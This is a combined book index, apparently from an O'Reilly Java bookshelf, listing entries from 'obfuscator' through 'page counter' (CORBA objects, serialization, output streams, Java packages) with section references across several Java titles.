NVList class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: O

obfuscator: 4.2.2. Locking a Servlet to a Server, Java Servlet Programming
OBJ_ADAPTER class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
OBJECT attribute, <APPLET> tag (HTML): 7.2.1 The <APPLET> Tag, Java Foundation Classes
object binding: 3.2.5 Naming, Enterprise JavaBeans
Object class: 5.2.5.3 Comparing beans for identity, Enterprise JavaBeans
12. The java.lang Package, Java in a Nutshell
object class definition: 6.9.2. The DirContext Interface, Java Enterprise in a Nutshell
directory entry: 6.11. Creating Directory Entries, Java Enterprise in a Nutshell
object classes: 3.4.2. Superclasses, Object, and the Class Hierarchy, Java in a Nutshell
object creation, operator for: 2.5.11. Special Operators, Java in a Nutshell
Object Data Management Group (ODMG): 11.4. Persistent Object Service, Java Enterprise in a Nutshell
object identifier (OID): 5.2.5.2 Primary key, Enterprise JavaBeans
19. The java.security.cert Package, Java in a Nutshell
Object interface: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
CORBA: 4.4. Finding Remote Objects, Java Enterprise in a Nutshell
10.10.4. Mapping Interfaces to Java, Java Enterprise in a Nutshell
direct communication with remote object: 4.5. What If I Don't Know the Interface?, Java Enterprise in a Nutshell
remote method requests, sending: 4.4. Finding Remote Objects, Java Enterprise in a Nutshell
Security Service support: 11.2. Security Service, Java Enterprise in a Nutshell
object literals: 2.8.3. Object Literals, Java in a Nutshell
Object Management Group (see OMG)
object manager: 3.3.2. Object Manager, Java Distributed Computing
CORBA's ORB: 3.5.1. The Object Request Broker (ORB), Java Distributed Computing
RMI Registry: 3.6.3. The RMI Registry, Java Distributed Computing
object member access (.) operator: 2.5.11. Special Operators, Java in a Nutshell
object-oriented databases: 3.2.3.2 Object database persistence, Enterprise JavaBeans
container-managed persistence and: 6.1 Container-Managed Persistence, Enterprise JavaBeans
object-oriented HTML: 5.4. HTML Generation, Java Servlet Programming
5.4.1. Generating Hello World, Java Servlet Programming
5.4.2.2. Weather forecast using HTML generation, Java Servlet Programming
5.4.2.3. Weather forecast using HTML generation creatively, Java Servlet Programming
object-oriented languages
mapping to Corba specifications: 4.1. The CORBA Architecture, Java Enterprise in a Nutshell
object-oriented programming: 1.3.1. Object-Oriented Environment, Java Distributed Computing
3. Object-Oriented Programming in Java, Java in a Nutshell
Java: 2.13.3. Java-Aware Databases, Java Enterprise in a Nutshell
Java language, power: 1.2. Enterprise Computing Demystified, Java Enterprise in a Nutshell
RMI, extending to client-server: 1.3.2. RMI: Remote Method Invocation, Java Enterprise in a Nutshell
object references: 3.2.1. Creating Remote Objects, Java Distributed Computing
Object Request Brokers (see ORBs)
object serialization: 1.3.2. Power, Java Servlet Programming
10.1.2. Servlets and Object Serialization, Java Servlet Programming
10.2.3.3. Posting a serialized object, Java Servlet Programming
10.2.3.3. Posting a serialized object, Java Servlet Programming
beans instance activation and: 7.4.3 Passivated State, Enterprise JavaBeans
container-managed fields: 6.1 Container-Managed Persistence, Enterprise JavaBeans
deployment descriptors, EJB 1.0: 2.1.2.1 EJB 1.0: Deployment descriptors, Enterprise JavaBeans
EJB 1.1 deployment descriptors, dropping in: 2.1.2.2 EJB 1.1: Deployment descriptors, Enterprise JavaBeans
EJBMetaData: 5.2.3.2 Bean metadata, Enterprise JavaBeans
entity beans and: 3.1.2 The Activation Mechanism, Enterprise JavaBeans
EntityDescriptor class (example): 4.2.6 EJB 1.0: The Deployment Descriptor, Enterprise JavaBeans
Externalizable interface: 11. The java.io Package, Java in a Nutshell
handles: 5.2.5.5 The bean handle, Enterprise JavaBeans
7.1.2.2 ProcessPayment: The remote interface, Enterprise JavaBeans
JDBC type VARBINARY: 9.7.1.2 Mapping serializable to VARBINARY, Enterprise JavaBeans
NotSerializableException: 11. The java.io Package, Java in a Nutshell
ObjectInput interface: 11. The java.io Package, Java in a Nutshell
ObjectInputStream class: 11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
GetField class: 11. The java.io Package, Java in a Nutshell
ObjectInputValidation class: 11. The java.io Package, Java in a Nutshell
ObjectOutput interface: 11. The java.io Package, Java in a Nutshell
ObjectOutputStream class: 11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
PutField class: 11. The java.io Package, Java in a Nutshell
ObjectStreamConstants interface: 11. The java.io Package, Java in a Nutshell
ObjectStreamException: 11. The java.io Package, Java in a Nutshell
ObjectStreamField class: 11. The java.io Package, Java in a Nutshell
passing by reference: 5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model, Enterprise JavaBeans
persistence and: 3.2.3.2 Object database persistence, Enterprise JavaBeans
primary key: 4.2.3 CabinPK: The Primary Key, Enterprise JavaBeans
5.2.5.2 Primary key, Enterprise JavaBeans
SealedObject class: 26. The javax.crypto Package, Java in a Nutshell
Serializable interface: 11. The java.io Package, Java in a Nutshell
SessionDescriptor: 4.3.5 EJB 1.0: The TravelAgent Beans' Deployment Descriptor, Enterprise JavaBeans
stateful beans, preserving state with: 3.1.2 The Activation Mechanism, Enterprise JavaBeans
object servers: 1.3 Distributed Object Architectures, Enterprise JavaBeans
remote references to: 1.3.1 Rolling Your Own Distributed Object, Enterprise JavaBeans
object-to-relational persistence: 3.2.3.1 Object-to-relational persistence, Enterprise JavaBeans
direct database access: 9.9.2.2 Direct access with object-to-relational mapping tools, Enterprise JavaBeans
mapping wizard: 3.2.3.1 Object-to-relational persistence, Enterprise JavaBeans
object transaction monitor (see CTMs)
Object Transaction Service (OTS): 8.5 Explicit Transaction Management, Enterprise JavaBeans
Object type, facilitating undefined primary key: 6.1.2.3 EJB 1.1: Undefined primary keys, Enterprise JavaBeans
ObjectFactory interface: 24. The javax.naming.spi Package, Java Enterprise in a Nutshell
ObjectFactoryBuilder interface: 24. The javax.naming.spi Package, Java Enterprise in a Nutshell
ObjectHolder class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
ObjectImpl class: 4.4. Finding Remote Objects, Java Enterprise in a Nutshell
33. The org.omg.CORBA.portable Package, Java Enterprise in a Nutshell
ObjectInputStream class: 3.9 Serialization, Java Foundation Classes
ObjectMessage interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
OBJECT_NOT_EXIST class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
ObjectNotFoundException: 6.1.3.1 The find methods, Enterprise JavaBeans
6.1.3.1 The find methods, Enterprise JavaBeans
6.2.10 ejbFind( ) Methods, Enterprise JavaBeans
8.6.1.2 Application exceptions, Enterprise JavaBeans
19. The javax.ejb Package, Java Enterprise in a Nutshell
EJB API: A.1.15 ObjectNotFoundException, Enterprise JavaBeans
ObjectOutputStream class: 3.9 Serialization, Java Foundation Classes
objects: 2.8. Classes and Objects, Java in a Nutshell
abstract interfaces for: 1.3.2. Abstract Interfaces, Java Distributed Computing
AccessibleObject class: 14. The java.lang.reflect Package, Java in a Nutshell
acting as clients and servers: 1.3.2. RMI: Remote Method Invocation, Java Enterprise in a Nutshell
adding to NamingContext (CORBA): 4.3.3. Adding Objects to a Naming Context, Java Enterprise in a Nutshell
arrays of, converting to collections: 4.6. Collections, Java in a Nutshell
attributes
associating with (directory services): 6. JNDI, Java Enterprise in a Nutshell
binding: B.1. Naming Service, Java Distributed Computing
6.8. Binding Objects, Java Enterprise in a Nutshell
binding to NamingService: 4.3.3. Adding Objects to a Naming Context, Java Enterprise in a Nutshell
subcontexts: 4.3.3. Adding Objects to a Naming Context, Java Enterprise in a Nutshell
binding to sessions: 5.8. Session Tracking, Java Enterprise in a Nutshell
5.8.1. HttpSessionBindingListener, Java Enterprise in a Nutshell
casting illegally: 2.1. Java Language Security Constructs, Java Security
2.1. Java Language Security Constructs, Java Security
Java compiler and: 2.2.1. Compiler Enforcement, Java Security
virtual machine and: 2.1. Java Language Security Constructs, Java Security
2.2.3. Runtime Enforcement, Java Security
client stub: 3.3. Features of Distributed Object Systems, Java Distributed Computing
IDL interface and: 3.5.4. Client Stubs, Java Distributed Computing
3.5.5.2. The client stubs, Java Distributed Computing
Java RMI and: 3.6.4. Client Stubs and Server Skeletons, Java Distributed Computing
collections of: 4.6. Collections, Java in a Nutshell
package for: 4.1. Java Platform Overview, Java in a Nutshell
comparing: 2.10.2. Comparing Objects and Arrays, Java in a Nutshell
copying: 2.10.1. Copying Objects and Arrays, Java in a Nutshell
CORBA
creating: 4.2. Creating CORBA Objects, Java Enterprise in a Nutshell
exporting: 11.7. Externalization Service, Java Enterprise in a Nutshell
grouping into collections: 11.15. Collection Service, Java Enterprise in a Nutshell
relationships, defining: 11.8. Relationship Service, Java Enterprise in a Nutshell
support: 4.1. The CORBA Architecture, Java Enterprise in a Nutshell
creating: 2.8.2. Creating an Object, Java in a Nutshell
3.2. Creating and Initializing Objects, Java in a Nutshell
data types, Java handling: 4.2.1. An IDL Primer, Java Enterprise in a Nutshell
of databases, defining: 7.2.2. Defining the Data Objects, Java Distributed Computing
scheduling system example: 7.2.3. A Scheduling Example, Java Distributed Computing
destroying: 3.3. Destroying and Finalizing Objects, Java in a Nutshell
dynamic activation: 3.3.2. Object Manager, Java Distributed Computing
EJB: 7.2.2. The Enterprise JavaBeans Object, Java Enterprise in a Nutshell
business methods, implementing: 7.2.2. The Enterprise JavaBeans Object, Java Enterprise in a Nutshell
components: 7.4. Implementing a Basic EJB Object, Java Enterprise in a Nutshell
deployment descriptors, providing for containers: 7.2.2. The Enterprise JavaBeans Object, Java Enterprise in a Nutshell
implementing basic: 7.4. Implementing a Basic EJB Object, Java Enterprise in a Nutshell
JDBC connections, providing (EJB server): 7.3.1. Making the EJB Server Aware of Database Transactions, Java Enterprise in a Nutshell
transaction boundaries, defining: 7.3. Transaction Management, Java Enterprise in a Nutshell
transactions, declaring new: 7.3. Transaction Management, Java Enterprise in a Nutshell
transactions, managing: 7.3. Transaction Management, Java Enterprise in a Nutshell
factories (CORBA): 11.5. Life Cycle Service, Java Enterprise in a Nutshell
finalizing: 3.3. Destroying and Finalizing Objects, Java in a Nutshell
guarded: 5.6. Guarded Objects, Java Security
initializing: 3.2. Creating and Initializing Objects, Java in a Nutshell
interface specification: 3.3. Features of Distributed Object Systems, Java Distributed Computing
interfaces, defining (IDL): 10. IDL Reference, Java Enterprise in a Nutshell
InvalidObjectException: 11. The java.io Package, Java in a Nutshell
Java types, inserting into databases: 2.8. Prepared Statements, Java Enterprise in a Nutshell
leaves: 6.4. Looking Up Objects in a Context, Java Enterprise in a Nutshell
looking up in Context: 6.4. Looking Up Objects in a Context, Java Enterprise in a Nutshell
as message arguments: 6.4.2. Objects as Message Arguments, Java Distributed Computing
names, associating with: 6. JNDI, Java Enterprise in a Nutshell
non-serializable
MarshalException, throwing: 3.4.2. Remote Method Arguments and Return Values, Java Enterprise in a Nutshell
NullPointerException: 12. The java.lang Package, Java in a Nutshell
Object class: 12. The java.lang Package, Java in a Nutshell
persistence: B.4. Other Key CORBA Services, Java Distributed Computing
registration/naming service: 3.2.3. Other Issues, Java Distributed Computing
3.3.3. Registration/Naming Service, Java Distributed Computing
CORBA and: 3.5.3. Server Implementations, Java Distributed Computing
3.5.5.5. Pulling it all together, Java Distributed Computing
RMI Registry: 3.6.3. The RMI Registry, Java Distributed Computing
remote
communication protocol: 3.3.4. Object Communication Protocol, Java Distributed Computing
creating: 3.2.1. Creating Remote Objects, Java Distributed Computing
for message passing: 6.7. Using Remote Objects, Java Distributed Computing
interfaces: 3.6.1. Remote Object Interfaces, Java Distributed Computing
registering (RMI): 3.6.5. Registering and Using a Remote Object, Java Distributed Computing
vs. nonremote: 3.4.2. Remote Method Arguments and Return Values, Java Enterprise in a Nutshell
remote distribution, enabled: 3.2. Defining Remote Objects, Java Enterprise in a Nutshell
remote or serializable
transport methods, deciding: 3.4.2. Remote Method Arguments and Return Values, Java Enterprise in a Nutshell
serialization: 2.1.1. Object Serialization and Memory Integrity, Java Security
serializing: 3.2.1. Creating Remote Objects, Java Distributed Computing
3.6.6. Serializing Objects, Java Distributed Computing
C.2. Entry and EntryRep, Java Distributed Computing
serializing/deserializing: 4.10. Input and Output Streams, Java in a Nutshell
server skeleton: 3.3. Features of Distributed Object Systems, Java Distributed Computing
IDL interface and: 3.5.3. Server Implementations, Java Distributed Computing
3.5.5.3. The server skeleton and implementation, Java Distributed Computing
Java RMI and: 3.6.4. Client Stubs and Server Skeletons, Java Distributed Computing
services provided (RMI): 3.1.3. RMI Object Services, Java Enterprise in a Nutshell
state of: 2.1.1. Object Serialization and Memory Integrity, Java Security
storing and manipulating, support for: 2.13.3. Java-Aware Databases, Java Enterprise in a Nutshell
threads and: 4.8. Threads, Java in a Nutshell
using: 2.8.4. Using an Object, Java in a Nutshell
verifying incoming: 5.1. Security Issues and Concerns, Java Distributed Computing
ObjectStreamClass class: 11. The java.io Package, Java in a Nutshell
object_to_string( ) (ORB): 4.4.3. Stringified Object References, Java Enterprise in a Nutshell
30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
ObjectView class: 31. The javax.swing.text.html Package, Java Foundation Classes
ObjID class: D.3. The java.rmi.server Package, Java Distributed Computing
17. The java.rmi.server Package, Java Enterprise in a Nutshell
Observable class: 23. The java.util Package, Java in a Nutshell
Observer interface: 23. The java.util Package, Java in a Nutshell
obtain_pull_consumer( ): B.2.2. Interface Specifics, Java Distributed Computing
obtain_push_consumer( ): B.2.2. Interface Specifics, Java Distributed Computing
OCI libraries: 9.2.1. JDBC Drivers, Java Servlet Programming
ODBC
database drivers: 7.2.1. JDBC Driver Configurations, Java Distributed Computing
URLs, example: 2.3.2. The JDBC-ODBC Bridge, Java Enterprise in a Nutshell
ODMG (Object Data Management Group): 11.4. Persistent Object Service, Java Enterprise in a Nutshell
of( ) (UnicodeBlock): 12. The java.lang Package, Java in a Nutshell
OFB encryption mode: 13.5. Encrypting Data, Java Security
OID (object identifier): 19. The java.security.cert Package, Java in a Nutshell
5.2.5.2 Primary key, Enterprise JavaBeans
oj (outer join) keyword: 2.12. Escape Sequences, Java Enterprise in a Nutshell
okToUseGui( ): 9. The java.beans Package, Java in a Nutshell
OMG (Object Management Group): 3.5. CORBA, Java Distributed Computing
CORBA Services specification, downloading: 11. CORBA Services Reference, Java Enterprise in a Nutshell
CORBA standard, defining: 1.3.3. Java IDL: CORBA Distributed Objects, Java Enterprise in a Nutshell
defining server-side component model: 1.6.2 EJB and CORBA CTMs, Enterprise JavaBeans
IDL and Java mapping reference, downloading: 10. IDL Reference, Java Enterprise in a Nutshell
IDL to Java mapping: 12. Java IDL Tools, Java Enterprise in a Nutshell
Java IDL mapping: 4.1.1. Interface Definition Language, Java Enterprise in a Nutshell
Object Transaction Service (OTS): 8.5 Explicit Transaction Management, Enterprise JavaBeans
services in CORBA-compliant ORBs: 3.2 Primary Services, Enterprise JavaBeans
on( )
DigestInputStream class: 17. The java.security Package, Java in a Nutshell
9.2.2. The DigestInputStream Class, Java Security
DigestOutputStream class: 17. The java.security Package, Java in a Nutshell
9.2.1. The DigestOutputStream Class, Java Security
one-way agent authentication: 5.7.1.3. One-, two-, and many-way cryptography, Java Distributed Computing
oneway keyword (best-effort method call semantics): 10.10.2.4. Call semantics, Java Enterprise in a Nutshell
online book order transactions: 8.1 ACID Transactions, Enterprise JavaBeans
onMessage( ) (MessageListener): 21. The javax.jms Package, Java Enterprise in a Nutshell
OODBMS (object-oriented database management systems: 2.13.3. Java-Aware Databases, Java Enterprise in a Nutshell
open connections: 7.2.2.1 Transitioning to the Method-Ready Pool, Enterprise JavaBeans
JNDI context: 7.3.1.4 TravelAgentBean: The bean class, Enterprise JavaBeans
Open DataBase Connectivity (Microsoft) (see ODBC)
open standards, CTM development and: 1.6.1 MTS, Enterprise JavaBeans
openConnection( ): 2.2. URLs, URLConnections, and ContentHandlers, Java Distributed Computing
HttpURLConnection class: 16. The java.net Package, Java in a Nutshell
URL class: 16. The java.net Package, Java in a Nutshell
URLStreamHandler class: 16. The java.net Package, Java in a Nutshell
openStream( ): 2.2. URLs, URLConnections, and ContentHandlers, Java Distributed Computing
URL class: 16. The java.net Package, Java in a Nutshell
OpenType interface: 15. The java.awt.font Package, Java Foundation Classes
operands: 1.3.2.12. Looping and computing the factorial, Java in a Nutshell
list of: 2.5.1. Operator Summary, Java in a Nutshell
number/type: 2.5.1.3. Operand number and type, Java in a Nutshell
operating system, security and: 1.4. Running a Java Application, Java Security
operating systems' requirements for starting a server: 2.3.2. Running Hello World, Java Servlet Programming
Operation class: D.3. The java.rmi.server Package, Java Distributed Computing
17. The java.rmi.server Package, Java Enterprise in a Nutshell
OperationNotSupportedException class: 6.2. A JNDI Example, Java Enterprise in a Nutshell
22. The javax.naming Package, Java Enterprise in a Nutshell
operators: 1.3.2.12. Looping and computing the factorial, Java in a Nutshell
2.5. Expressions and Operators, Java in a Nutshell
arithmetic: 2.5.2. Arithmetic Operators, Java in a Nutshell
IDL
C/C++, support for: 10.5. Constants and Literals, Java Enterprise in a Nutshell
list of: 2.5.1. Operator Summary, Java in a Nutshell
special: 2.5.11. Special Operators, Java in a Nutshell
SQL, listed: 8.4.1. SELECT, Java Enterprise in a Nutshell
Option class: 31. The javax.swing.text.html Package, Java Foundation Classes
OptionalDataException: 11. The java.io Package, Java in a Nutshell
OptionPaneUI class: 28. The javax.swing.plaf Package, Java Foundation Classes
OPTIONS method: 2.1.3. Other Methods, Java Servlet Programming
Oracle Call Interface (OCI): 9.2.1. JDBC Drivers, Java Servlet Programming
Oracle JDBC-Thin driver (URLs, type): 2.3.1. JDBC URLs, Java Enterprise in a Nutshell
Oracle PL/SQL stored procedure (example): 2.11. Stored Procedures, Java Enterprise in a Nutshell
Oracle's PL/SQL language: 9.5.1. Stored Procedures, Java Servlet Programming
ORB class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
ORBClass property: 4.3.1. Initializing the ORB, Java Enterprise in a Nutshell
ORBInitialHost property: 4.3.1. Initializing the ORB, Java Enterprise in a Nutshell
ORBInitialPort property: 4.3.1. Initializing the ORB, Java Enterprise in a Nutshell
ORBs (Object Request Brokers): 1.3.3. Java IDL: CORBA Distributed Objects, Java Enterprise in a Nutshell
1.1.3 Component Transaction Monitors, Enterprise JavaBeans
1.3.1 Rolling Your Own Distributed Object, Enterprise JavaBeans
1.5.2 Object Request Brokers, Enterprise JavaBeans
3.5. CORBA, Java Distributed Computing
bounds checks, data: 10.4.1.1. Mapping strings and characters to Java, Java Enterprise in a Nutshell
communications between ORBs: 4.1.4. Inter-ORB Communication, Java Enterprise in a Nutshell
stringified object references and: 4.4.3. Stringified Object References, Java Enterprise in a Nutshell
containers (EJB) vs.: 7.2. EJB Roles, Java Enterprise in a Nutshell
default implementation (IDL): 4.3.1. Initializing the ORB, Java Enterprise in a Nutshell
host and port, specifying initial: 4.4.2.2. Using multiple naming services, Java Enterprise in a Nutshell
initial object references
implementation not standardized: 4.4.1. Initial ORB References, Java Enterprise in a Nutshell
listing: 4.4.1. Initial ORB References, Java Enterprise in a Nutshell
initializing: 4.3.1. Initializing the ORB, Java Enterprise in a Nutshell
remote naming service reference: 4.4.3. Stringified Object References, Java Enterprise in a Nutshell
Internet Inter-ORB Protocol (IIOP): 3.5. CORBA, Java Distributed Computing
object clients and servers, requests: 4.1.2. Object Request Broker, Java Enterprise in a Nutshell
properties, specifying (methods): 4.3.1. Initializing the ORB, Java Enterprise in a Nutshell
reference, initializing: 4.3.1. Initializing the ORB, Java Enterprise in a Nutshell
remote object references: 4.4. Finding Remote Objects, Java Enterprise in a Nutshell
server-side component model: 1.5.3 CTMs: The Hybrid of ORBs and TP Monitors, Enterprise JavaBeans
services, defining for: 3.2 Primary Services, Enterprise JavaBeans
services provided: 4.4.1. Initial ORB References, Java Enterprise in a Nutshell
(see also CTMs)
ORBSingletonClass property: 4.3.1. Initializing the ORB, Java Enterprise in a Nutshell
order of evaluation: 2.5.1.6. Order of evaluation, Java in a Nutshell
ordinaryChar( ): 11. The java.io Package, Java in a Nutshell
ordinaryChars( ): 11. The java.io Package, Java in a Nutshell
O'Reilly's WebSite Professional, web site for information: 1.2.1. Standalone Servlet Engines, Java Servlet Programming
org.omg.CORBA package: 4. Java IDL, Java Enterprise in a Nutshell
4.3.2. Registering with a Naming Service, Java Enterprise in a Nutshell
30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
org.omg.CORBA.DynAnyPackage package: 31. The org.omg.CORBA.DynAnyPackage Package, Java Enterprise in a Nutshell
org.omg.CORBA.ORBPackage package: 32. The org.omg.CORBA.ORBPackage Package, Java Enterprise in a Nutshell
org.omg.CORBA.portable package: 4.2.2.2. The helper class, Java Enterprise in a Nutshell
33. The org.omg.CORBA.portable Package, Java Enterprise in a Nutshell
org.omg.CORBA.TypeCodePackage package: 34. The org.omg.CORBA.TypeCodePackage Package, Java Enterprise in a Nutshell
org.omg.CosNaming package: 4. Java IDL, Java Enterprise in a Nutshell
35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
4.3.2. Registering with a Naming Service, Java Enterprise in a Nutshell
org.omg.CosNaming.NamingContextPackage package: 36. The org.omg.CosNaming. NamingContextPackage Package, Java Enterprise in a Nutshell
origin: 4.1 Graphics Before Java 2D, Java Foundation Classes
4.3 The Coordinate System, Java Foundation Classes
Original Reusable Objects' PerlTools and OROMatcher, web site for downloading: 13.3. Using Regular Expressions, Java Servlet Programming
OROMatcher, web site for downloading: 13.3. Using Regular Expressions, Java Servlet Programming
OTMs (see CTMs)
OTS (Object Transaction Service): 8.5 Explicit Transaction Management, Enterprise JavaBeans
OU (organizational unit): 11.1.1. Principals, Java Security
out keyword (IDL): 3.5.2. The Interface Definition Language (IDL), Java Distributed Computing
outer join keyword: 2.12. Escape Sequences, Java Enterprise in a Nutshell
outer joins (SQL): 8.4.1.2. Subqueries and joins, Java Enterprise in a Nutshell
OutOfMemoryError: 12. The java.lang Package, Java in a Nutshell
output
displaying: 1.3.2.6. Displaying output, Java in a Nutshell
redirected: 13.4.4. Executing Finger with Redirected Output, Java Servlet Programming
output-feedback encryption mode: 13.5. Encrypting Data, Java Security
output streams: 4.10. Input and Output Streams, Java in a Nutshell
BufferedOutputStream class: 11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
ByteArrayOutputStream class: 11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
CheckedOutputStream class: 25. The java.util.zip Package, Java in a Nutshell
cipher streams: 13.6.1. The CipherOutputStream Class, Java Security
D.5. Package javax.crypto, Java Security
CipherOutputStream class: 26. The javax.crypto Package, Java in a Nutshell
DataOutputStream class: 11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
DeflaterOutputStream class: 25. The java.util.zip Package, Java in a Nutshell
25. The java.util.zip Package, Java in a Nutshell
DigestOutputStream class: D.1. Package java.security, Java Security
FileOutputStream class: 11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
FilterOutputStream class: 11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
GZIPOutputStream class: 25. The java.util.zip Package, Java in a Nutshell
JarOutputStream class: 24. The java.util.jar Package, Java in a Nutshell
message digest: 9.2.1. The DigestOutputStream Class, Java Security
ObjectOutputStream class: 11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
OutputStream class: 11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
OutputStreamWriter class: 11. The java.io Package, Java in a Nutshell
package for: 4.1. Java Platform Overview, Java in a Nutshell
PipedOutputStream class: 11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
servlet responses: 5.2.4. Servlet Responses, Java Enterprise in a Nutshell
StreamCorruptedException: 11. The java.io Package, Java in a Nutshell
system: 12. The java.lang Package, Java in a Nutshell
ZipOutputStream class: 25. The java.util.zip Package, Java in a Nutshell
OutputStream class: 33. The org.omg.CORBA.portable Package, Java Enterprise in a Nutshell
4.10. Input and Output Streams, Java in a Nutshell
2.1.4. Streams, Readers, and Writers for Input and Output, Java Distributed Computing
4.2.1. Implementing Runnable, Java Distributed Computing
OutputStreamWriter class: 2.1.4. Streams, Readers, and Writers for Input and Output, Java Distributed Computing
overhead of object creation: 3.1.2. Instance Persistence, Java Servlet Programming
OverlayLayout: 23. The javax.swing Package, Java Foundation Classes
overloaded methods
named declarations, applying to all: 10.6.3.2 Named method declarations , Enterprise JavaBeans
parameters for resolving: 10.6.3 Identifying Specific Methods, Enterprise JavaBeans
Overrides: flag: 38.2.3.1. Member availability and flags, Java Enterprise in a Nutshell
overriding
methods: 3.4.6. Overriding Superclass Methods, Java in a Nutshell
overrides: 3.4.6. Overriding Superclass Methods, Java in a Nutshell
vs. shadowing: 3.4.6.1. Overriding is not shadowing, Java in a Nutshell
overview.html file: 7.3.3. Doc Comments for Packages, Java in a Nutshell
Owner interface: 18. The java.security.acl Package, Java in a Nutshell

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: P

pack( )
Dialog class: 9. The java.awt Package, Java Foundation Classes
Window class: 9. The java.awt Package, Java Foundation Classes
9. The java.awt Package, Java Foundation Classes
Package class: 12. The java.lang Package, Java in a Nutshell
package (default) access level: 2.1. Java Language Security Constructs, Java Security
package.html file: 7.3.3. Doc Comments for Packages, Java in a Nutshell
packages: 1.1.3. The Java Platform, Java in a Nutshell
2.11. Packages and the Java Namespace, Java in a Nutshell
2.11. Packages and the Java Namespace, Java in a Nutshell
4. The Java Platform, Java in a Nutshell
access to: 3.5.1.1. Access to packages, Java in a Nutshell
4.3.7. Methods Protecting Security Aspects, Java Security
6.3.5. Implementing Package Access, Java Security
capitalization/naming conventions: 7.1. Naming and Capitalization Conventions, Java in a Nutshell
classes of the same: 3.1.2. Class Loaders and Namespaces, Java Security
com.sun: 4.2.1. Getting Information About the Server, Java Servlet Programming
4.4.10. Extra Attributes, Java Servlet Programming
defining: 2.11.1. Defining a Package, Java in a Nutshell
defining classes in: 3.4.3. Implementing Security Policies in the Class Loader, Java Security
doc comments for: 7.3.3. Doc Comments for Packages, Java in a Nutshell
for EJB, downloading from Sun Java site: 4.1.1 Setting Up Your Java IDE, Enterprise JavaBeans
importing: 2.11.2. Importing Classes and Packages, Java in a Nutshell
java.\\*: 4.2.1. Getting Information About the Server, Java Servlet Programming
4.4.10. Extra Attributes, Java Servlet Programming
java.applet package: 8. The java.applet Package, Java Foundation Classes
java.awt: 9. The java.awt Package, Java Foundation Classes
java.awt.color: 10. The java.awt.color Package, Java Foundation Classes
java.awt.dnd: 12. The java.awt.dnd Package, Java Foundation Classes
java.awt.dnd.peerx: 13. The java.awt.dnd.peer Package, Java Foundation Classes
java.awt.event: 14. The java.awt.event Package, Java Foundation Classes
java.awt.font: 15. The java.awt.font Package, Java Foundation Classes
java.awt.geom: 16. The java.awt.geom Package, Java Foundation Classes
java.awt.im: 17. The java.awt.im Package, Java Foundation Classes
java.awt.image: 18. The java.awt.image Package, Java Foundation Classes
java.awt.image.renderable: 19. The java.awt.image.renderable Package, Java Foundation Classes
java.awt.peer: 20. The java.awt.peer Package, Java Foundation Classes
java.awt.print: 21. The java.awt.print Package, Java Foundation Classes
java.beans: 14. The java.awt.event Package, Java Foundation Classes
java.security: 8.3.2. Retrieving SSL Authentication Information, Java Servlet Programming
java.util.zip: 6.2. Compressed Content, Java Servlet Programming
javax.\\*: 4.2.1. Getting Information About the Server, Java Servlet Programming
4.4.10. Extra Attributes, Java Servlet Programming
javax.accessibility: 22. The javax.accessibility Package, Java Foundation Classes
javax.servlet: 2.2. The Servlet API, Java Servlet Programming
A. Servlet API Quick Reference, Java Servlet Programming
javax.servlet.http: 2.2. The Servlet API, Java Servlet Programming
B. HTTP Servlet API Quick Reference, Java Servlet Programming
javax.swing: 23. The javax.swing Package, Java Foundation Classes
javax.swing.border: 24. The javax.swing.border Package, Java Foundation Classes
javax.swing.colorchooser: 25. The javax.swing.colorchooser Package, Java Foundation Classes
javax.swing.event: 26. The javax.swing.event Package, Java Foundation Classes
javax.swing.filechooser: 27. The javax.swing.filechooser Package, Java Foundation Classes
javax.swing.plaf: 28. The javax.swing.plaf Package, Java Foundation Classes
javax.swing.table: 29. The javax.swing.table Package, Java Foundation Classes
javax.swing.text: 30. The javax.swing.text Package, Java Foundation Classes
javax.swing.text.html: 31. The javax.swing.text.html Package, Java Foundation Classes
javax.swing.text.html.parser: 32. The javax.swing.text.html.parser Package, Java Foundation Classes
javax.swing.text.rtf: 33. The javax.swing.text.rtf Package, Java Foundation Classes
javax.swing.tree: 34. The javax.swing.tree Package, Java Foundation Classes
javax.swing.undo: 35. The javax.swing.undo Package, Java Foundation Classes
key, list of: 4.1. Java Platform Overview, Java in a Nutshell
names, unique: 2.11.3. Globally Unique Package Names, Java in a Nutshell
not documented in this book: 4.1. Java Platform Overview, Java in a Nutshell
reserved names: 4.2.1. Getting Information About the Server, Java Servlet Programming
security policy for: 6.3.7.4. Implementing network, thread, and package access, Java Security
PackedColorModel class: 18. The java.awt.image Package, Java Foundation Classes
packets of data: 4.11. Networking, Java in a Nutshell
padding schemes: 13.5. Encrypting Data, Java Security
13.5. Encrypting Data, Java Security
13.6.1. The CipherOutputStream Class, Java Security
cryptography: 26. The javax.crypto Package, Java in a Nutshell
SunJCE cryptographic provider, supporting: 26. The javax.crypto Package, Java in a Nutshell
page counter, implementing: 5.1. The Servlet Life Cycle, Java Enterprise in a Nutshell
